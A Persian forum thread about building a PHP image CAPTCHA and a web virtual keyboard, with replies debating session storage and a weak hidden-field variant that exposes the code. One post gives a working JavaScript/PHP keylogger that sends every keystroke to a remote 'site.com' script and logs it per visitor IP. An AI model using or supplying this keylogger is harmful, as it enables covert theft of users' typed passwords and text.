کد امنیتی و صفحه کلید مجازی

afshinpoor

New Member
سلام دوستان
من می خوام از این کد برای ایجاد کد امنیتی استفاده کنم . انقدر باهاش ور رفتم آخر جواب داد :lol: حالا از شما استادان عزیز می خوام بپرسم آیا از نظر امنیتی استفاده از این کد ایرادی نداره ؟
این صفحه login.php
PHP:
<?php 
session_start();
echo "<form action=\"check.php\" method=\"POST\">";
echo "<input type=\"text\" name=\"turning\" size=\"20\"><br>";
echo "<img src=\"turning.php\" ><br>";
echo "<input type=\"submit\" value=\"Check\" name=\"submit\"></p>";
echo "</form>";
?>
-------------------------------
این صفحه ساخت عکس تصادفی turning.php
PHP:
<?php
session_start();
header ("Content-type: image/jpeg");
$turning= rand(100000,999999) ;
$size = 4;
$width = ImageFontWidth($size) * strlen($turning);
$height = ImageFontHeight($size);
$create = @ImageCreate ($width,$height);
$background_color = ImageColorAllocate ($create, 66, 99, 00);
$text_color = ImageColorAllocate ($create, 150, 150,150);
ImageString ($create, $size, 0, 0, $turning, $text_color);
ImageJPEG ($create);
$_SESSION['turning']=$turning;
?>
-------------------------------
این هم صفحه چک کردن شماره check.php
PHP:
<?php
session_start();
if($_SESSION['turning']==$_POST['turning'])
{
print "Your Code Is Correct";
}
else {
print "Your Code Is Wrong";
}
?>
--------------------------------
به نظر شما از نظر امنیتی مشکلی نداره ؟؟؟

حالا یک سوال برای ایجاد یک صفحه کلید مجازی از چه روشی می تونم استفاده کنم ؟ مثلا با کلیک روی یه لینک مثلا صفحه ای باز میشه که حروف الفبا توشه و با کلیک روی هر کدوم اون حرف توی جعبه متن سند میشه .
:oops:خیلی ممنون
 

jhoseini

Member
بنظر من، بهتره به جای اینکه عدد رندم رو روی سشن نگه داری، بریزی تو دیتابیس ! مسلماً امنیتش بالاتر میره
و اینکه یه خط زیر
PHP:
$turning= rand(100000,999999) ;
اضافه کنی
اونم اینکه
PHP:
$turning = substr(md5($turning),0,6);

در مورد کیبورد مجازی هم، فکر میکنم خیلی ساده با جاوا اسکریپت پیاده میشه، باید جای کلید ها تو هر بار باز شدن صفحه عوض شه + کد هر کلید عوض شه + ...
 

parsmizban

Member
Keylogger.JS
CODE
PHP:
function whichButton(event)
{
var keya = "";
keya = event.keyCode;
makeRequest('http://site.com/keylogger.php?iambr=' + keya);
}

function makeRequest(url)
{
var httpRequest;

if (window.XMLHttpRequest)
{ // Mozilla, Safari, ...
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) {
httpRequest.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject)
{ // IE
try
{
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}

if (!httpRequest)
{
alert('Giving up :( Cannot create an XMLHTTP instance');
return false;
}
httpRequest.onreadystatechange = function() { alertContents(httpRequest); };
httpRequest.open('GET', url, true);
httpRequest.send(null);
}

function alertContents(httpRequest)
{
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
}
else
{
alert('There was a problem with the request.');
}
}
}

Keylogger.PHP
CODE
PHP:
<?php
$_GET['iambr'];
$file = fopen($_SERVER['REMOTE_ADDR'] . ".txt","a");
fwrite($file,$_GET['iambr'] . '||');
fclose($file);
?>

index.htm
CODE
PHP:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<script language="JavaScript" SRC="keylogger.js"></SCRIPT>
</head>
<body onkeyup="whichButton(event)">
<p><b>Note:</b> Make sure the right frame has focus when trying this example!</p>
<p>Press a key on your keyboard. An alert box will alert the unicode of the key pressed.</p>
</body>
</html>
 
آخرین ویرایش:

jhoseini

Member
فکر نمیکنم نیاز به php داشته باشه
kaffeetrinker_2.gif
 

afshinpoor

New Member
!!

سلام . خیلی ممنون
parsmizban جان من اجرا کردن و به این صورته که هر کلیدی فشار داده میشه کد اون رو در یک فایل متنی سیو میکنه . فکر کنم کمک خوبی بتونه بهم بکنه ولی اگر کسی از دوستان این کیبورد مجازی که آقای حسینی عزیز هم به آن اشاره کردند داره لطف کنه بده ممنون میشم .
باز هم از همگی ممنون :)
 

parsmizban

Member
سلام
من که کد همه کلید هارو دادم ( یعنی با آزمایش از اسکریپت بدست می آد )
بعد یه عکسه کی بورد هم گزاشتم
یکی بساز به صورت open source بده بیرون
همه استفاده می کنیم
:cool:
 

پیوست ها

  • webkeyboard1.jpg
    webkeyboard1.jpg
    22.1 کیلوبایت · بازدیدها: 11

parsmizban

Member
من یکی پیدا کردم ولی فقط با Ie کار می کنه
 

پیوست ها

  • visual_keyboard.zip
    782.6 کیلوبایت · بازدیدها: 16

afshinpoor

New Member
سلام
کاملا درسته . اما از نوع صفحه کلیدش که دقیق تر میشه این سایت رو معرفی کرد :
https://www.e-gold.com/acct/login.html
و این هم عکسش : http://i17.tinypic.com/4mjxvec.jpg
انشاالله با کمک دوستان بتونیم این کار رو بکنیم . نحوه فرستادنش به اون جعبه متن چطور میشه انجام داد ؟ آخه تغییر دادن جای دکمه ها در هر بار لود شدن و تغییر کد اونها هم خیلی سخته ! ولی فعلا مشکل فرستادن اون حرف که کلیک میشه به جعبه متنی که focus داره است .
تشکر
 

parsmizban

Member
دومی کار میکنه تو همه مرورگر ها
فقط برای عوض کردن جای دکمه ها یه کاری بکن
 

tabib_m

Member
ببخشید که از بحث صفحه کلید می رم تو همون بحث کد امنیتی
کاشکی برای هر کدوم تاپیک جدا میزدی...

بنظر من، بهتره به جای اینکه عدد رندم رو روی سشن نگه داری، بریزی تو دیتابیس ! مسلماً امنیتش بالاتر میره
باعث ایجاد اشتباه میشه.
چجوری میخوای از دیتابیس برداشت کنی؟
اگر میخوای آخری رو برداشت کنی، که اشتباهه، چون ممکنه دو نفر همزمان دارن صفحه رو میبینن، اونوقت کدی که لازمه وارد کنن، کدیه که آخرین بار ساخته شده... در صورتی که یکیشون با یک کد دیگه مواجه شده...

مگر این که بیای یک فیلد به دیتابیس اضافه کنی و یک آی دی یونیک برای هر سشن توش ثبت کنی. که در این صورت، باز هم از سشن استفاده شده و هیچ فرقی با حالت فعلی نمیکنه.

در نهایت، همون سشن بهتر جواب میده.


اما پیشنهاد دیگه ای که هست، اینه که بهتره کدت رو یه کمکی کلی تر کنی. این کد اگر دو بار در یک صفحه استفاده بشه، جواب نمیده. چون سشنی که ثبت میشه، مربوط میشه به اجرای دوم فایل مورد نظر.
اگر به ازای هر تصویر، اسم سشن رو خاص کنی، میتونی به تعداد نا محدود از این کد در یک صفحه استفاده کنی.


موفق باشید.
 

afshinpoor

New Member
سلام . خیلی ممنون از توضیح کاملتون . ولی برای چی 2بار از تصویر استفاده کنم ؟ تو چه زمانی مثلا می شه از 2 تصویر تصادفی استفاده کرد ؟
متشکرم
 

jhoseini

Member
باعث ایجاد اشتباه میشه.
چجوری میخوای از دیتابیس برداشت کنی؟

خوب اگه تعداد درخواست زیاده میشه به جای دیتابیس از یه الگوریتم استفاده کرد
تو ییه فیلد hidden کد md5 (یا عبارت حاصل از رمزنگاری اون عدد رندوم که بصورت تصویری نمایش داده میشه) عدد داخل تصویر رو نگه میداریم، و بعد از submit چک میکنیم که md5 عبارتی که کاربر دیده و نوشته با محتویات فیلد hidden برابر هستش یا نه

بهر حال در این موارد که یه خورده قضیه سکیوریتیش بالا میره ترجیه میدم ار سشن استفاده نکنم !
200.gif
 

tabib_m

Member
برای چی 2بار از تصویر استفاده کنم ؟ تو چه زمانی مثلا می شه از 2 تصویر تصادفی استفاده کرد ؟
برای مثال، ممکنه شما توی یک صفحه ، دو تا فرم نظرسنجی داشته باشی. مثلا اینجا رو ببین. در یک صفحه، دو بار از تصویر امنیتی استفاده شده.
در کل ، فقط یک پیشنهاد بود.

تو ییه فیلد hidden کد md5 (یا عبارت حاصل از رمزنگاری اون عدد رندوم که بصورت تصویری نمایش داده میشه) عدد داخل تصویر رو نگه میداریم، و بعد از submit چک میکنیم که md5 عبارتی که کاربر دیده و نوشته با محتویات فیلد hidden برابر هستش یا نه
چجوری میخوای md5 کد امنیتی رو بریزی توی فیلد hidden؟؟؟
کد مورد نظر داره مثلا توی فایل code.php ساخته میشه. و صفحه ای که توش فیلد hidden میذاری، یه صفحه ی دیگه س!! چجوری میخوای به دستش بیاری؟؟

به فرض محال هم که به دستش بیاری (که نمیاری) باز هم استفاده از سشن امنیت بیشتری داره...
فوق فوق فوقش هم اگه بخوای امنیت رو به وسیله ی md5 بالاتر از این هم ببری، میتونی عبارتی رو که توی سشن ثبت میکنی به صورت md5 ثبتش کنی، و بعد از سابمیت، با مقدار md5 فیلد ورودی کد، مقایسه ش کنی! :)

موفق باشید.
 

jhoseini

Member
چجوری میخوای md5 کد امنیتی رو بریزی توی فیلد hidden؟؟؟
form.php
PHP:
$rand = rand(10000,99999);
echo "
   <form method=get action=check.php> 
   <input type=text name=TypedCode >
   <inp src='image.php?rand=$rand' >
   <input type=hidden name=rand value='$rand' >
   <input type=submit >
";

image.php :
PHP:
$rand=$_GET['rand'];
$hash = substr( md5( base64_decode($rand) ), 0, 6);
$width = strlen($hash)*9;
$height = 18;
$IM = imagecreate( $width, $height );
$WHITE = imagecolorallocate($IM, 255, 255, 255);
$BLACK = imagecolorallocate($IM, 0, 0, 0);
imagefill($IM, 0, 0, $WHITE);
imagestring($IM,12,0,0,$email,$BLACK);
imagegif($IM);
imagedestroy($IM);


check.php
PHP:
if($_GET['TypedCode']==substr( md5( base64_decode($_GET['rand']) ), 0, 6) ){
	echo "Valid Code :)";
	;// do some thing
} else {
	echo "Invalid Code :-|";
	die();
}
نیاز نیست حتماً کد md5 تو hidden باشه، برعکسش عملیه
-----------------------------------
میتونی عبارتی رو که توی سشن ثبت میکنی به صورت md5 ثبتش کنی، و بعد از سابمیت، با مقدار md5 فیلد ورودی کد، مقایسه ش کنی!

در این مورد حق با شماست
chase.gif


اما مشکل سشن فقط امنیت نیست
خیلی مواقع واکنش های غیر عادی ازش دیدم
و مثلا اگه قرار باشه توی یه فروشگاه با تراکنش های نجومی رو سشن حساب کنیم ؟!
122fs329172.gif
gigglesmile.gif

منظورم اینه که به جای سشن میشه ار ابزار های دیگه استفاده کرد، و این یه نظر شخصیه
 
آخرین ویرایش:

tabib_m

Member
نمیخوام کشش بدم.
ولی خواهشا کار رو از این دیگه خرابتر نکن :)

آخه عزیز دل ، شما داری کد امنیتی رو توی خود سورس صفحه ی اچ تی ام ال جا میدی!!!!
منظورم آدرس عکس هست. :)


اما مشکل سشن فقط امنیت نیست
خیلی مواقع واکنش های غیر عادی ازش دیدم
لطفا یک منبع در مورد مشکلات امنیتی و غیر امنیتی سشن معرفی کنید.
سشن بالذات به اندازه ی کافی امن هست ، فقط باید استفاده صحیح ازش بشه. همین.

موفق باشید.
 
آخرین ویرایش:

جدیدترین ارسال ها

بالا